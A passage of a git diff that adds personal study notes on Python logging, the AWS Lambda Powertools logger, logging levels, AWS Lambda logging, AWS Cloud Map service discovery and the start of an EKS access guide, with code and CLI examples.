"z": 3, + "parent": "3df467ad-673c-4c48-a41c-3ac1626961e3", + "embeds": [], + "isrelatedto": [ + "2e76192b-a4f8-48a5-92b6-abbfa8b83263" + ] + }, + "13e0e0da-40c9-45d0-8460-7732ed20d764": { + "source": { + "id": "96a791f0-938b-4ebe-9f3c-b3fe2a588aee" + }, + "target": { + "id": "3df467ad-673c-4c48-a41c-3ac1626961e3" + }, + "z": 2 + }, + "528e2b71-46e6-4e09-815a-f70630755219": { + "source": {"id": "175bad80-0988-4588-a919-331be705b02d"}, + "target": {"id": "3df467ad-673c-4c48-a41c-3ac1626961e3"}, + "z": 2 + } + } + } +} +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/lambda/log-level.md b/_posts/01Cloud/01AWS/CodeDevelop/lambda/log-level.md new file mode 100644 index 00000000000..aa0213451bc --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/lambda/log-level.md @@ -0,0 +1,748 @@ + + + +[toc] + +- ref + - [Logging Levels: What They Are and How They Help You](https://www.scalyr.com/blog/logging-levels/) + - [Logging in Python](https://realpython.com/python-logging/) + - [Logger](https://awslabs.github.io/aws-lambda-powertools-python/core/logger/) + +--- + +# logging in python + +--- + +## The Logging Module + +use `logger` +- to log messages that you want to see. +- By default, there are 5 standard levels indicating the severity of events. + - `CRITICAL` (highest severity) + - `ERROR` + - `WARNING` + - `INFO` + - `DEBUG` + + + +debug > info > warning > error + + +```py +import logging +logging.debug('This is a debug message') +logging.info('This is an info message') +logging.warning('This is a warning message') +logging.error('This is an error message') +logging.critical('This is a critical message') +# The output: +# WARNING:root:This is a warning message +# ERROR:root:This is an error message +# CRITICAL:root:This is a critical message +``` + + level::name::message + +- The output shows the severity level before each message along with root, the name the logging module gives to its default logger. +- default output format that can be configured to include things like timestamp, line number, and other details. + +the `debug()` and `info()` messages didn’t get logged. +- by default, the logging module logs the messages with a severity level of WARNING or above. +- configuring the logging module to log events of all levels +- can also define your own severity levels by changing configurations, +- not recommended as it can cause confusion with logs of some third-party libraries that you might be using. + + +## Basic Configurations +- use the `basicConfig(**kwargs)` method to configure the logging + - it can configure the `root logger` works only if the root logger has not been configured before. + - this function can only be called once. + + - commonly used parameters for `basicConfig()` are the following: + - `level`: + - The root logger will be set to the specified severity level. + - `filename`: This specifies the file. + - `filemode`: If filename is given, the file is opened in this mode. The default is a, which means append. + - `format`: the format of the log message. + - using the level parameter, set what level of log messages to record. + - passing the constants available in the class, and this would enable all logging calls at or above that level to be logged. + +```py +import logging + +# All events at or above DEBUG level will get logged. +logging.basicConfig(level=logging.DEBUG) +logging.debug('This will get logged') +# DEBUG:root:This will get logged + +# to log to a file not console, filename and filemode can be used +logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s') +logging.warning('This will get logged to a file') +# format: +# root - ERROR - This will get logged to a file +``` + +--- + +### Formatting the Output + +- pass variable that can be represented as a string from your program as a message to your logs +- some basic elements that are already a part of the `LogRecord` and can be easily added to the output format. + - `LogRecord` attributes + - The entire list of available attributes can be found [here](https://docs.python.org/3/library/logging.html#logrecord-attributes). + +```py +import logging + +# to log the process ID along with the level and message +logging.basicConfig(format='%(process)d-%(levelname)s-%(message)s') +logging.warning('This is a Warning') +# 18472-WARNING-This is a Warning + + +# add the date and time info +logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO) +logging.info('Admin logged in') +# 2018-07-11 20:12:06,288 - Admin logged in + + +# `%(asctime)s` adds the time of creation of the `LogRecord`. +# - The format can be changed using the `datefmt` attribute +logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S') +logging.warning('Admin logged out') +12-Jul-18 20:53:19 - Admin logged out +``` + +--- + +### Logging Variable Data + +to include dynamic information from your application in the logs. +- format a string with variable data in a separate line and pass it to the log method. +- using a format string for the message and appending the variable data as arguments. +- The arguments passed to the method would be included as variable data in the message. + + +```py +import logging +name = 'John' +logging.error('%s raised an error', name) +# ERROR:root:John raised an error + +logging.error(f'{name} raised an error') +# ERROR:root:John raised an error +``` + +--- + +### Capturing Stack Traces +1. `logging.error()` + - The logging module allows you to capture the full stack traces in an application. + - Exception information can be captured if the `exc_info` parameter is passed as `True` + +```py +import logging +a = 5 +b = 0 +try: + c = a / b +except Exception as e: + logging.error("Exception occurred", exc_info=True) +# ERROR:root:Exception occurred +# Traceback (most recent call last): +# File "exceptions.py", line 6, in +# c = a / b +# ZeroDivisionError: division by zero +# [Finished in 0.2s] +``` + + +2. `logging.exception()` method + - logging from an exception handler + - logs a message with level `ERROR` and adds exception information to the message. + - `logging.exception()` would show a log at the level of `ERROR`. + - If you don’t want that + - call any of the other logging methods from `debug()` to `critical()` + - and pass the `exc_info` parameter as `True`. + - calling `logging.exception()` is like calling `logging.error(exc_info=True)`. + - But since this method always dumps exception information, it should only be called from an exception handler. + + +```py +import logging +a = 5 +b = 0 +try: + c = a / b +except Exception as e: + logging.exception("Exception occurred") +# ERROR:root:Exception occurred +# Traceback (most recent call last): +# File "exceptions.py", line 6, in +# c = a / b +# ZeroDivisionError: division by zero +# [Finished in 0.2s] +``` + +--- + +## customer `logger` + +--- + +### Classes and Functions in the module. + + +the default logger named `root` +- used by the logging module whenever its functions are called directly like this: `logging.debug()`. +- define your own logger by creating an object of the `Logger` class, especially if your application has multiple modules. + + +The most commonly used classes defined in the logging module + +- **`Logger`:** + - This is the class + - objects will be used in the application code directly to call the functions. + +- **`LogRecord`:** + - Loggers automatically create `LogRecord` objects that have all the information related to the event being logged, + - like the name of the logger, the function, the line number, the message, and more. + +- **`Handler`:** + - Handlers send the `LogRecord` to the required output destination, + - like the console or a file. + - `Handler` is a base for subclasses like `StreamHandler`, `FileHandler`, `SMTPHandler`, `HTTPHandler`, and more. + - These subclasses send the logging outputs to corresponding destinations, + - like `sys.stdout` or a disk file. + +- **`Formatter`:** + - This is where you specify the format of the output by specifying a string format that lists out the attributes that the output should contain. + + +--- + +### the `Logger` class +- instantiated using the module-level function `logging.getLogger(name)`. +- Multiple calls to `getLogger()` with the same `name` will return a reference to the same `Logger` object, which saves us from passing the logger objects to every part where it’s needed. + + +```py +import logging + +logger = logging.getLogger('example_logger') +logger.warning('This is a warning') +# This is a warning +``` + +- This creates a custom logger named `example_logger`, +- unlike the root logger + - the name of a custom logger is not part of the default output format and has to be added to the configuration. + - Configuring it to a format to show the name of the logger would give an output like this: + - `WARNING:example_logger:This is a warning` + - custom logger can’t be configured using `basicConfig()` + - have to configure it using `Handlers` and `Formatters`: + +> “It is recommended that we use module-level loggers by passing `__name__` as the name parameter to `getLogger()` to create a logger object as the name of the logger itself would tell us from where the events are being logged. `__name__` is a special built-in variable in Python which evaluates to the name of the current module.” + + +```py +# app.py +from aws_lambda_powertools import Logger +logger = Logger() # Sets service via env var +# OR logger = Logger(service="example") +``` + + +```yaml +Resources: + HelloWorldFunction: + Type: AWS::Serverless::Function + Properties: + Runtime: python3.8 + Environment: + Variables: + LOG_LEVEL: INFO + POWERTOOLS_SERVICE_NAME: example +``` + + + + + + +--- + +### Using Handlers + +- to configure your own loggers and send the logs to multiple places when they are generated. + - Handlers send the log messages to configured destinations like + - the standard output stream + - or a file + - or over HTTP + - or to your email via SMTP. +- A logger can have more than one handler + - you can saved to a log file and also send it over email. +- can also set the severity level in handlers. + - useful to set multiple handlers for the same logger but want different severity levels for each of them. + - For example + - logs with level `WARNING` and above to be logged to the console, + - but everything with level `ERROR` and above should also be saved to a file. + + +1. creating a `LogRecord` + - it holds all the information of the event + - and passing it to all the Handlers it has: `c_handler` and `f_handler`. +2. `c_handler` + - a `StreamHandler` with level `WARNING` + - takes the info from the `LogRecord` to generate an output in the format specified + - and prints it to the console. +3. `f_handler` + - a `FileHandler` with level `ERROR` + - it ignores this `LogRecord` as its level is `WARNING`. + +4. When `logger.error()` is called + - `c_handler` behaves exactly as before, + - and `f_handler` gets a `LogRecord` at the level of `ERROR`, so it proceeds to generate an output just like `c_handler`, but instead of printing it to console, it writes it to the specified file in this format: + +```py +# logging_example.py +import logging + +# Create a custom logger +logger = logging.getLogger(__name__) + +# Create handlers +c_handler = logging.StreamHandler() +c_handler.setLevel(logging.WARNING) +f_handler = logging.FileHandler('file.log') +f_handler.setLevel(logging.ERROR) +# Create formatters and add it to handlers +c_format = logging.Formatter('%(name)s - %(levelname)s - %(message)s') +f_format = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') +c_handler.setFormatter(c_format) +f_handler.setFormatter(f_format) + +# Add handlers to the logger +logger.addHandler(c_handler) +logger.addHandler(f_handler) + +logger.warning('This is a warning') +logger.error('This is an error') + +# __main__ - WARNING - This is a warning +# __main__ - ERROR - This is an error +# 2018-08-03 16:12:21,723 - __main__ - ERROR - This is an error +``` + +The name of the logger corresponding to the `__name__` variable is logged as `__main__`, which is the name Python assigns to the module where execution starts. If this file is imported by some other module, then the `__name__` variable would correspond to its name _logging\_example_. Here’s how it would look: + +```py +# run.py +import logging_example +# logging_example - WARNING - This is a warning +# logging_example - ERROR - This is an error +``` + +--- + + +### Other Configuration Methods + +configure logging +- using the module and class functions +- or creating a config file or a [dictionary](https://realpython.com/python-dicts/) and loading it using `fileConfig()` or `dictConfig()` respectively. +- useful in case to change your logging configuration in a running application. + +Here’s an example file configuration: + +```yaml +[loggers] +keys=root,sampleLogger + +[logger_root] +level=DEBUG +handlers=consoleHandler + +[logger_sampleLogger] +level=DEBUG +handlers=consoleHandler +qualname=sampleLogger +propagate=0 + + +[handlers] +keys=consoleHandler + +[handler_consoleHandler] +class=StreamHandler +level=DEBUG +formatter=sampleFormatter +args=(sys.stdout,) + +[formatters] +keys=sampleFormatter + +[formatter_sampleFormatter] +format=%(asctime)s - %(name)s - %(levelname)s - %(message)s +``` + +In the above file +- two loggers, one handler, and one formatter. +- After their names are defined, they are configured by adding the words logger, handler, and formatter before their names separated by an underscore. + +To load this config file +- use `fileConfig()`: + +```py +import logging +import logging.config + +logging.config.fileConfig(fname='file.conf', disable_existing_loggers=False) + +# Get the logger specified in the file +logger = logging.getLogger(__name__) + +logger.debug('This is a debug message') + +# 2018-07-13 13:57:45,467 - __main__ - DEBUG - This is a debug message +``` + +- The path of the config file is passed as a parameter to the `fileConfig()` method +- the `disable_existing_loggers` parameter is used to keep or disable the loggers that are present when the function is called. It defaults to `True` if not mentioned. + +Here’s the same configuration in a YAML format for the dictionary approach: + +```yaml +version: 1 +formatters: + simple: + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' +handlers: + console: + class: logging.StreamHandler + level: DEBUG + formatter: simple + stream: ext://sys.stdout +loggers: + sampleLogger: + level: DEBUG + handlers: [console] + propagate: no +root: + level: DEBUG + handlers: [console] +``` + +Here’s an example that shows how to load config from a `yaml` file: + +```py +import logging +import logging.config +import yaml + +with open('config.yaml', 'r') as f: + config = yaml.safe_load(f.read()) + logging.config.dictConfig(config) + +logger = logging.getLogger(__name__) + +logger.debug('This is a debug message') +# 2018-07-13 14:05:03,766 - __main__ - DEBUG - This is a debug message +``` + + +--- + +## lambda logger + +### Standard structured keys + +Logger will include the following keys to structured logging, by default: + +| Key | Type | Example | Description | +| ------------- | ---- | +| timestamp | str | "2020-05-24" | Timestamp of log statement | +| level | str | "INFO" | Logging level | +| location | str | "collect.handler:1" | Source code location where statement was executed | +| service | str | "payment" | Service name defined. "service_undefined" will be used if unknown | +| sampling_rate | int | 0.1 | Debug logging sampling rate in percentage e.g. 10% in this case | +| message | any | "Collecting payment" | Log statement value. Unserializable JSON casted to string | +| xray_trace_id | str | "1-5759e988-bd83" | X-Ray Trace ID when Lambda function has enabled Tracing | + + + + +--- + +### Capturing Lambda context info +enrich structured logs with key Lambda context information via inject_lambda_context. + + +```py +from aws_lambda_powertools import Logger +logger = Logger() + +@logger.inject_lambda_context +def handler(event, context): + logger.info("Collecting payment") + ... + # You can log entire objects too + logger.info({ + "operation": "collect_payment", + "charge_id": event['charge_id'] + }) + ... + +{ + "timestamp": "2020-05-24 18:17:33,774", + "level": "INFO", + "location": "collect.handler:1", + "service": "payment", + "lambda_function_name": "test", + "lambda_function_memory_size": 128, + "lambda_function_arn": "arn:aws:lambda:eu-west-1:12345678910:function:test", + "lambda_request_id": "52fdfc07-2182-154f-163f-5f0f9a621d72", + "cold_start": true, + "sampling_rate": 0.0, + "message": "Collecting payment" +}, +{ + "timestamp": "2020-05-24 18:17:33,774", + "level": "INFO", + "location": "collect.handler:15", + "service": "payment", + "lambda_function_name": "test", + "lambda_function_memory_size": 128, + "lambda_function_arn": "arn:aws:lambda:eu-west-1:12345678910:function:test", + "lambda_request_id": "52fdfc07-2182-154f-163f-5f0f9a621d72", + "cold_start": true, + "sampling_rate": 0.0, + "message": { + "operation": "collect_payment", + "charge_id": "ch_AZFlk2345C0" + } +} +``` + +--- + +### Appending additional keys¶ + +- append additional keys using either mechanism: +- Persist new keys across all future log messages via structure_logs method +- Add additional keys on a per log message basis via extra parameter + + +```py +from aws_lambda_powertools import Logger +logger = Logger() + + +# 1. `structure_logs` method +# - append your own keys to your existing Logger via `structure_logs(append=True, **kwargs)` method. +# - Omitting append=True will reset the existing structured logs to standard keys + keys provided as arguments + +def handler(event, context): + order_id = event.get("order_id") + logger.structure_logs(append=True, order_id=order_id) + logger.info("Collecting payment") + +{ + "timestamp": "2020-05-24 18:17:33,774", + "level": "INFO", + "location": "collect.handler:1", + "service": "payment", + "sampling_rate": 0.0, + "order_id": "order_id_value", + "message": "Collecting payment" +} + + + +# 2. extra parameter¶ +# - Extra parameter is available for all log levels' methods (implemented in the standard logging library) +# - e.g. logger.info, logger.warning. +# - It accepts any dictionary, and all keyword arguments will be added as part of the root structure of the logs for that log statement. +# - Any keyword argument added using extra will not be persisted for subsequent messages. + +logger = Logger(service="payment") +fields = { "request_id": "1123" } +logger.info("Hello", extra=fields) + +{ + "timestamp": "2021-01-12 14:08:12,357", + "level": "INFO", + "location": "collect.handler:1", + "service": "payment", + "sampling_rate": 0.0, + "request_id": "1123", + "message": "Collecting payment" +} + +``` + + +--- + +## Advanced + +### Reusing Logger across your code +- Logger supports inheritance via child parameter. +- allows you to create multiple Loggers across your code base, and propagate changes such as new keys to all Loggers. + +```py +# collect.py +import shared # Creates a child logger named "payment.shared" +from aws_lambda_powertools import Logger + +logger = Logger() # POWERTOOLS_SERVICE_NAME: "payment" + +def handler(event, context): + shared.inject_payment_id(event) + + +#shared.py +from aws_lambda_powertools import Logger + +logger = Logger(child=True) # POWERTOOLS_SERVICE_NAME: "payment" + +def inject_payment_id(event): + logger.structure_logs(append=True, payment_id=event.get("payment_id")) +``` + +1. Logger will create a **parent logger** named `payment` and a **child logger** named `payment.shared`. +2. Changes in either parent or child logger will be propagated bi-directionally. +3. Child loggers will be named after the following convention `{service}.{filename}` +4. If you forget to use child param but the service name is the same of the parent, we will return the existing parent Logger instead. + + + + + + + + + + + + + + + + +--- + +# Application logging + + +--- + +# Logging Levels + +Application logging is one of the most important things to facilitating production support. +- log files serve as a sort of archaeological record of what on earth your codebase did in production.  +- Each entry in a log file has important information, including a time stamp, contextual information, logging level, and a message. + + + +> capture every last detail you can because this might prove useful during troubleshooting or auditing your system.  +> all logging consumes resources. eat up disk space, overload people reading the logs, and even start to slow down your production code if you go overboard. + + + +logging levels +- categorizing the entries in your log file. +- the logging level lets you separate the information +- distinction helps in two ways.  + - filter log files during search. + - control the amount of information that you log. +- logging requires either a balance to get both the proverbial signal _and_ the noise. + - Logging levels work this way.  + +--- + + +## Common Logging Levels + + +`debug > info > warning > error` + +### FATAL 灾难性的 + +Fatal +- represents truly catastrophic situations, as far as your application is concerned.  + - application is about to abort to prevent some kind of corruption or serious problem +- This entry in the log should probably result in someone getting a 3 AM phone call. + +### ERROR + +error +- serious issue and represents the failure of something important going on in your application.  +- Unlike FATAL, the application itself isn’t going down the tubes.  + - like dropped database connections or the inability to access a file or service.  +- This will require someone’s attention probably sooner than later, but the application can limp along. + + +### WARN 假设的,假定的;有待证实的 + +WARN +- _might_ have a problem and that have detected an unusual situation.  + - invoke a service and it failed a couple of times before connecting on an automatic retry.  +- unexpected and unusual, but no real harm done, +- and not known whether the issue will persist or recur.  +- Someone should investigate warnings. + +### INFO + +INFO +- normal application behavior and milestones.  +- won’t care too much about these entries during normal operations, but they provide the skeleton of what happened.  +- A service started or stopped.  You added a new user to the database.  That sort of thing. + +### DEBUG + +DEBUG +- include more granular, diagnostic information.  +- furnishing more information than you’d want in normal production situations.  +- providing detailed diagnostic information for fellow developers, sysadmins, etc. + +### TRACE + +TRACE +- fine-grained information—finer even than DEBUG.  +- capture every detail possibly can about the application’s behavior.  +- This is likely to swamp your resources in production and is seriously diagnostic. + +### ALL + +Log absolutely everything, including any custom logging levels that someone has defined. + +### OFF + +Don’t log anything at all. + + +--- + + +## How This Works + +two participating parties in logging: + +- The logging framework, at runtime, has a configured log level. +- The application code makes logging requests. + +If the framework has a given log level enabled, then all requests at that level or higher priority wind up in the log file.  Everything else is denied.  So consider the following pseudo-code: + +```java +void DoStuffWithInts(int x, int y) { + log.trace(x); + log.error(y); +} +``` + +- log level set to `ALL` or `TRACE`, you would see both integers in the log file.  +- log level set to `WARN`, then we would only see _y_.  +- log level set to `FATAL`, see nothing. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/lambda/logging.md b/_posts/01Cloud/01AWS/CodeDevelop/lambda/logging.md new file mode 100644 index 00000000000..b0bdc3d3b0d --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/lambda/logging.md @@ -0,0 +1,122 @@ + + + +- ref + - [logging](https://docs.aws.amazon.com/lambda/latest/dg/python-logging.html) + +--- + + +# AWS Lambda function logging in Python + + +AWS Lambda automatically monitors Lambda functions on your behalf and sends function metrics to Amazon CloudWatch. +- Lambda function **comes with a CloudWatch Logs log group and a log stream** for each instance of your function. +- The Lambda runtime environment sends details about each invocation to the log stream, and relays logs and other output from your function's code. + +This page describes how to produce log output from your Lambda function's code, or access logs using the AWS Command Line Interface, the Lambda console, or the CloudWatch console. + + +## Creating function that returns logs +To output logs from your function code, you can use the print method, or any logging library that writes to stdout or stderr. The following example logs the values of environment variables and the event object. + +```py +import os +def lambda_handler(event, context): + print('## ENVIRONMENT VARIABLES') + print(os.environ) + print('## EVENT') + print(event) + +# START RequestId: 8f507cfc-xmpl-4697-b07a-ac58fc914c95 Version: $LATEST +# ## ENVIRONMENT VARIABLES +# environ({'AWS_LAMBDA_LOG_GROUP_NAME': '/aws/lambda/my-function', 'AWS_LAMBDA_LOG_STREAM_NAME': '2020/01/31/[$LATEST]3893xmpl7fac4485b47bb75b671a283c', 'AWS_LAMBDA_FUNCTION_NAME': 'my-function', ...}) +# ## EVENT +# {'key': 'value'} +# END RequestId: 8f507cfc-xmpl-4697-b07a-ac58fc914c95 +# REPORT RequestId: 8f507cfc-xmpl-4697-b07a-ac58fc914c95 Duration: 15.74 ms Billed Duration: 16 ms Memory Size: 128 MB Max Memory Used: 56 MB Init Duration: 130.49 ms +# XRAY TraceId: 1-5e34a614-10bdxmplf1fb44f07bc535a1 SegmentId: 07f5xmpl2d1f6f85 Sampled: true +``` + +The Python runtime logs the `START`, `END`, and `REPORT` lines for each invocation. +- The report line provides the following details. +- Report Log + - RequestId – The unique request ID for the invocation. + - Duration – The amount of time that your function's handler method spent processing the event. + - Billed Duration – The amount of time billed for the invocation. + - Memory Size – The amount of memory allocated to the function. + - Max Memory Used – The amount of memory used by the function. + - Init Duration – For the first request served, the amount of time it took the runtime to load the function and run code outside of the handler method. + - XRAY TraceId – For traced requests, the AWS X-Ray trace ID. + - SegmentId – For traced requests, the X-Ray segment ID. + - Sampled – For traced requests, the sampling result. + + +```bash +aws lambda invoke \ + --function-name my-function out \ + --log-type Tail + +aws lambda invoke \ + --function-name my-function out \ + --log-type Tail \ + --query 'LogResult' \ + --output text | base64 -d + +# START RequestId: 57f231fb-1730-4395-85cb-4f71bd2b87b8 Version: $LATEST +# "AWS_SESSION_TOKEN": "AgoJb3JpZ2luX2VjELj...", "_X_AMZN_TRACE_ID": "Root=1-5d02e5ca-f5792818b6fe8368e5b51d50;Parent=191db58857df8395;Sampled=0"",ask/lib:/opt/lib", +# END RequestId: 57f231fb-1730-4395-85cb-4f71bd2b87b8 +# REPORT RequestId: 57f231fb-1730-4395-85cb-4f71bd2b87b8 Duration: 79.67 ms Billed Duration: 80 ms Memory Size: 128 MB Max Memory Used: 73 MB +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/lambda/w.md b/_posts/01Cloud/01AWS/CodeDevelop/lambda/w.md new file mode 100644 index 00000000000..e69de29bb2d diff --git a/_posts/01Cloud/01AWS/EKS/2021-04-04-CloudMap.md b/_posts/01Cloud/01AWS/EKS/2021-04-04-CloudMap.md new file mode 100644 index 00000000000..8a0d573361b --- /dev/null +++ b/_posts/01Cloud/01AWS/EKS/2021-04-04-CloudMap.md @@ -0,0 +1,295 @@ +--- +title: AWS - EKS - Cloud Map +date: 2021-04-04 11:11:11 -0400 +categories: [01AWS, EKS] +tags: [AWS, EKS] +toc: true +image: +--- + + +- [Cloud Map](#cloud-map) + - [basic](#basic) + - [AWS Cloud Map in Action](#aws-cloud-map-in-action) + - [Cloud map ecosystem](#cloud-map-ecosystem) + +- ref + - [深入理解 Amazon Elastic Kubernetes Service (EKS)](https://sides-share.s3.cn-north-1.amazonaws.com.cn/AWS+Webinar+2019/PDF/webnair_eks+deep+dive.pdf) + + +--- + +# Cloud Map + +![Screen Shot 2021-04-04 at 15.54.07](https://i.imgur.com/t7pLrz0.png) + + + +## basic + + +![Screen Shot 2021-04-04 at 15.51.38](https://i.imgur.com/3RwpwGR.png) + +Companies are increasingly building their applications as microservices (many separate services that each do a single job). +- Microservices often allow companies to iterate and deploy more quickly. +- Many of these microservice-based modern applications are built using various types of cloud resources and deployed on dynamically changing infrastructure. + +had to use configuration files to manage the location of the application resource. +- but **dependencies in a microservices-based application** can quickly become too complex to easily manage through configuration files. +- many applications are built using **containers that scale dynamically**, reacting on the changes in traffic load. +- That increases the application responsiveness, now the application components need to `discover and connect to the upstream services at runtime`. +- This problem of connectivity in dynamically changing infrastructures and microservices is commonly addressed by service discovery . + + +![Screen Shot 2021-04-04 at 15.52.55](https://i.imgur.com/DjN0TAR.png) + +![Screen Shot 2021-04-04 at 15.53.23](https://i.imgur.com/FbDq41d.png) + +![product-page-diagram_skymap_before-after](https://i.imgur.com/l2LjDpz.png) + + + +AWS Cloud Map features +1. Discover resources via API calls or DNS queries + - Cloud Map allows the applications to discover any web-based service via AWS SDK, API calls, or DNS queries. + - Over DNS, Cloud Map provides resource locations of IP addresses or IP:port combinations using either IPv4 or IPv6. + - Using the discovery API, Cloud Map can return URLs or ARNs as well as IP addresses and IP:port combinations. +2. Simplified service naming + - AWS Cloud Map lets define simple custom names for services in the application. + - This can include Amazon Elastic Container Service (ECS) tasks, Amazon EC2 instances, Amazon S3 buckets, Amazon DynamoDB tables, Amazon Simple Queue Service (SQS) queues, and any other cloud resource. +3. Assign custom attributes + - Cloud Map lets define custom attributes for each resource, such as location and deployment stage. + - This provides the ability to customize the deployment across different regions or environments. + +4. Access control + - Cloud Map is integrated with AWS Identity and Access Management (IAM) to ensure that only authenticated services can discover resources within the registry and retrieve the location and credential for those resources. + +5. Automatic health check + - Amazon Route 53 health checks ensure that only healthy endpoints are returned on discovery queries. + - This ensures that Cloud Map always has an up-to-date registry of healthy resources. + +6. Deep integration with AWS container services + - Services and tasks managed by Amazon Elastic Container Service (ECS) or Amazon Elastic Service for Kubernetes (EKS) can be automatically registered and updated in Cloud Map. + - As ECS launches tasks for the service, it automatically registers them as resources with Cloud Map, and they are discoverable within five seconds. + +7. Rapid change propagation + - When are using API-based discovery, the updates on the resource locations and attributes are available within 5 seconds. + +8. Fully managed + - AWS Cloud Map eliminates the need to set up, update, and manage the own service discovery tools and software. + + +--- + +## AWS Cloud Map in Action + +1. create a namespace, such as `myapp.com`. + - decide whether want the applications to discover resources only via the AWS SDK and API calls, or if need optional discovery via DNS. + - When enable DNS discovery for a namespace, need to provide IP addresses for all the resources that register. + - If plan to register other cloud resources, such as DynamoDB tables by ARN or the URLs of the APIs deployed on Amazon API Gateway, need to select API discovery mode. + + + ```bash + aws servicediscovery create-public-dns-namespace \ + --name myapp.com + ``` + + +2. create services. + - A service represents the application components, such as users, auth, or payment and can be comprised of many dynamically changing resources. + - specify a name for the service, then select the DNS discovery and health checking options. + + ```bash + aws servicediscovery create-service \ + --name frontend \ + --namespace-id %namespace_id%” + ``` + +3. register service instances with custom attributes: + + ```bash + aws servicediscovery register-instance \ + --service-id %service_id% \ + --instance-id %id% \ + --attributes AWS_INSTANCE_IPV4=54.20.10.1,stage=beta,version=1.0,active=yes + + aws servicediscovery register-instance \ + --service-id %service_id% \ + --instance-id %id% \ + --attributes AWS_INSTANCE_IPV4=54.20.10.2,stage=beta,version=2.0,active=no + ``` + + +4. Now, applications can make API calls to discover the service instances, optionally providing query parameters to filter the results: + + ``` + aws servicediscovery discover-instances \ + --namespace-name myapp.com \ + --service-name frontend \ + --query-parameters version=1.0,active=yes + --> + { + "Instances": [ + { + "InstanceId": "1", + "NamespaceName": "myapp.com", + "ServiceName": "users", + "HealthStatus": "HEALTHY", + "Attributes": { + "version":"1.0", + "active":"yes", + "stage":"beta", + "AWS_INSTANCE_IPV4": "54.20.10.2" } + } + ] + } + ``` + + +5. Amazon Elastic Container Service (ECS) and AWS Fargate are tightly integrated with AWS Cloud Map. + - When create the service and enable service discovery, all the task instances are automatically registered in AWS Cloud Map on scale up, and deregistered on scale down. + - ECS also ensures that only healthy task instances are returned on the discovery calls by publishing always up-to-date health information to AWS Cloud Map. + - For Amazon Elastic Container Service for Kubernetes (EKS), can automatically publish the external IPs of the services running in EKS in AWS Cloud Map. To do this, we’ve released an update to an open source project, ExternalDNS, to make Kubernetes resources discoverable via AWS Cloud Map. You can find out more details about Kubernetes External DNS here. + +--- + +Registry cloud resources + + +![Screen Shot 2021-04-04 at 15.55.19](https://i.imgur.com/hn3YcTO.png) + +![Screen Shot 2021-04-04 at 15.56.14](https://i.imgur.com/iC4rLPw.png) + +![Screen Shot 2021-04-04 at 15.56.30](https://i.imgur.com/FnOENdY.png) + +![Screen Shot 2021-04-04 at 15.57.08](https://i.imgur.com/OjWfNXW.png) + + +![Screen Shot 2021-04-04 at 15.57.45](https://i.imgur.com/uuAb0Rz.png) + + +![Screen Shot 2021-04-04 at 15.58.17](https://i.imgur.com/2SXgElv.png) + +![Screen Shot 2021-04-04 at 15.58.40](https://i.imgur.com/Q2TSXJw.png) + + + + + + + +attribute-based service discovery + + +![Screen Shot 2021-04-04 at 15.58.54](https://i.imgur.com/700aHRh.png) + + +![Screen Shot 2021-04-04 at 15.59.09](https://i.imgur.com/2Zk0Vkt.png) + + +![Screen Shot 2021-04-04 at 15.59.31](https://i.imgur.com/07tTrTw.png) + + +![Screen Shot 2021-04-04 at 15.59.44](https://i.imgur.com/OilM0G6.png) + + + + + + + +handling partial failure + + +![Screen Shot 2021-04-04 at 16.00.02](https://i.imgur.com/jeFgC4b.png) + + +![Screen Shot 2021-04-04 at 16.00.38](https://i.imgur.com/WFQjSQL.png) + +![Screen Shot 2021-04-04 at 16.00.51](https://i.imgur.com/5jPfNfR.png) + +![Screen Shot 2021-04-04 at 16.01.23](https://i.imgur.com/cvMMH5n.png) + + +![Screen Shot 2021-04-04 at 16.01.59](https://i.imgur.com/gY3mSYE.png) + + + + + + + + + + + + + + + +--- + + +## Cloud map ecosystem + +![Screen Shot 2021-04-04 at 23.55.40](https://i.imgur.com/B9KNwlg.png) + +![Screen Shot 2021-04-04 at 23.56.08](https://i.imgur.com/SWGmK55.png) + +![Screen Shot 2021-04-04 at 23.56.21](https://i.imgur.com/ymuIhqw.png) + +![Screen Shot 2021-04-04 at 23.56.35](https://i.imgur.com/PcHBUmw.png) + +![Screen Shot 2021-04-04 at 23.56.56](https://i.imgur.com/rAkLY3e.png) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/EKS/EKS-access.md b/_posts/01Cloud/01AWS/EKS/EKS-access.md new file mode 100644 index 00000000000..bcfc01eb4ab --- /dev/null +++ b/_posts/01Cloud/01AWS/EKS/EKS-access.md @@ -0,0 +1,820 @@ + +- [EKS](#eks) + - [Kubernetes services](#kubernetes-services) + - [example](#example) + - [Aceess](#aceess) + - [use case](#use-case) + - [Enabling cross-account access to EKS cluster resources](#enabling-cross-account-access-to-eks-cluster-resources) + - [Prerequisites](#prerequisites) + - [Setup OIDC in CI account](#setup-oidc-in-ci-account) + - [Setup IAM role in CI account](#setup-iam-role-in-ci-account) + - [Setup Kubernetes serviceaccount in CI account](#setup-kubernetes-serviceaccount-in-ci-account) + - [Confirm the role and service account](#confirm-the-role-and-service-account) + - [configure a pod to use a service account](#configure-a-pod-to-use-a-service-account) + - [Configuring the target account](#configuring-the-target-account) + + +--- + +# EKS + +--- + +## Kubernetes services + + +### example + +```bash +# Create a sample application +cat < nginx-deployment.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: nginx-deployment + labels: + app: nginx +spec: + replicas: 2 + selector: + matchLabels: + app: nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: nginx:1.14.2 + ports: + - containerPort: 80 +EOF + +# Create the deployment: +kubectl apply -f nginx-deployment.yaml + +# Verify that the pods are running and have their own internal IP addresses: +kubectl get pods -l 'app=nginx' -o wide | awk {'print $1" " $3 " " $6'} | column -t +# NAME STATUS IP +# nginx-deployment-574b87c764-hcxdg 